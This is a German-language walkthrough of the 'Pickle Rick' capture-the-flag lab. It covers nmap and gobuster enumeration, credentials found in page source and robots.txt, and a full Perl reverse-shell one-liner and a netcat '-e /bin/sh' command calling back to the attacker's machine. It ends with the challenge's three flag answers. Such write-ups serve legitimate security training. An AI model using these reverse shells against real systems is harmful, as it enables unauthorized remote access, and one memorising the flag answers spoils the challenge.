Bei diesem CTF müssen wir drei Zutaten finden, um Rick wieder in einen Menschen zu verwandeln. Wenn du Rick an Morty nicht kennst, dann solltest du dir auf jeden Fall ein paar Folgen ansehen (vorallem Pickle Rick)!

Fangen wir mit einem einfach nmap Scan an, um uns einen Überblick zu verschaffen:

nmap DIE_IP_DEINER_MACHINE

Dadurch sehen wir, dass eine Website existiert und ein ssh Zugriff möglich ist.

└─$ nmap DIE_IP_DEINER_MACHINE           
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-27 18:32 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds

Schauen wir uns die Website mal an:

Nicht viel zu sehen…

Was sagt der Quellcode?

Benutzername!

Sehr gut, hier haben wir den Benutzernamen: R1ckRul3s

Versuchen wir jetzt eine ssh Verbindung, schlägt diese fehl. Versuchen wir etwas anderes -> Enumeration! Doch bevor wir das machen muss ich an einen Tipp von einem Freund denken:

„Gucke immer in die robots.txt!“

Die robots.txt ist für Suchmaschinen gedacht und schreibt deren Webcrawlern vor, was sie scannen dürfen und was nicht. So kann man auf eine „leise“ Art auch Verzeichnisse finden, die nicht gefunden werden sollen. Die robots.txt befindet sich immer im root-Verzeichnis der Website. HIer findet sich aber nur Kauderwelsch:

Wubbalubbadubdub

Vielleicht ist das später noch nützlich.

Wir benutzen Gobuster uns suchen nach Verzeichnissen und Seiten (html und php):

gobuster dir -u DIE_I_DEINER_MACHINE -t 64 -x html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Das Ergebnis kann sich sehen lassen:

└─$ gobuster dir -u DIE_IP_DEINER_MACHINE -t 64 -x html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     DIE_IP_DEINER_MACHINE
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
2022/06/27 19:50:50 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 313] [--> http://10.10.215.50/assets/]
/portal.php           (Status: 302) [Size: 0] [--> /login.php]                   
/index.html           (Status: 200) [Size: 1062]                                 
/login.php            (Status: 200) [Size: 882]                                  
/denied.php           (Status: 302) [Size: 0] [--> /login.php]                   
/server-status        (Status: 403) [Size: 300]                                  
                                                                                 
===============================================================
2022/06/27 20:03:24 Finished
===============================================================

Im Assets-Verzeichnis finden sich nur ein paar Bilder und uninteressante Dateien. Die /login.php Seite ist viel interessanter, denn einen Benutzernamen haben wir ja bereits … und vielleicht ein Passwort? Probieren wir das Kauderwelsch aus der robots.txt!

Bingo! Command Line Zugriff.

Mit „ls“ lassen wir uns den Inhalt anzeigen:

Ein paar Textdateien! Der Versuch sie mit „cat“ anzeigen zu lassen hat leider nicht geklappt, geben wir mal den Dateinamen in der URL Zeile des Brwosers ein: DIE_IP_DEINER_MACHINE/Sup3rS3cretPickl3Ingred.txt

mr. meeseek hair

Sehr schön, die erste Zutat und die Antwort der ersten Frage!

Frage 1:
What is the first ingredient Rick needs?

Antwort 1:
mr. meeseek hair

Machen wir das Gleiche nun für die nächste Textdatei:
http://10.10.215.50/clue.txt

Look around the file system for the other ingredient.

Ok, folglich ist noch etwas im file system verstecht, das wir nicht sehen. Wir benötigen also eine Reverse Shell. Zuerst setzen wir einen Netcat listener aus unserem Rechner:

nc -lvnp 1234 

Als nächstes müssen wir unseren Rechner über das Command Panel von Rick „anrufen“. Mit

lsb_release -a

sehen wir, dass auf Ricks Computer Ubuntu läuft, leider ist Netcat nicht installiert und wir können keine Shell mit „nc DIE_IP_DEINER_MASCHINE 1234 -e /bin/sh“ herstellen.

Gehen wir nun zu PayloadAllTheThings und probieren uns durch!

Bei der Perl-Reverse-Shell angekommen und siehe da, die Seite hängt und wir haben eine Verbindung!

perl -e 'use Socket;$i="DIE_IP_DEINER_MACHINE";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Geben wir 2x „cd ..“ ein, um zwei Ebenen tiefer zu gehen:

$ cd ..
$ cd ..
$ ls
bin                                                                                                                                                              
boot                                                                                                                                                             
dev                                                                                                                                                              
etc                                                                                                                                                              
home                                                                                                                                                             
initrd.img                                                                                                                                                       
lib                                                                                                                                                              
lib64                                                                                                                                                            
lost+found                                                                                                                                                       
media                                                                                                                                                            
mnt                                                                                                                                                              
opt                                                                                                                                                              
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
$

Nach einigen missglückten Suchbegriffen und stumpfen durchsehen der einzelnen Verzeichnisse bin ich im /home/ Verzeichnis fündig geworden!

Frage 2:
Whats the second ingredient Rick needs?

Antwort 2:
1 jerry tear

Nach weiterer Suche bleiben nur noch die Verzeichnisse mit root Zugriff. Mal sehen, ob wir root Rechte (sudo) haben:

$ sudo ls /root/
3rd.txt
snap
$ 

Hat geklappt und 3rd.txt sieht auch verdächtig gut aus!

$ sudo cat /root/3rd.txt
3rd ingredients: fleeb juice
$ 

Wir haben die letzte Zutat gefunden!

Frage 3:
Whats the final ingredient Rick needs?

Antwort 3:
fleeb juice

Ich hoffe, dass euch der Walkthrough gefallen hat und wir sehen uns beim nächsten CTF!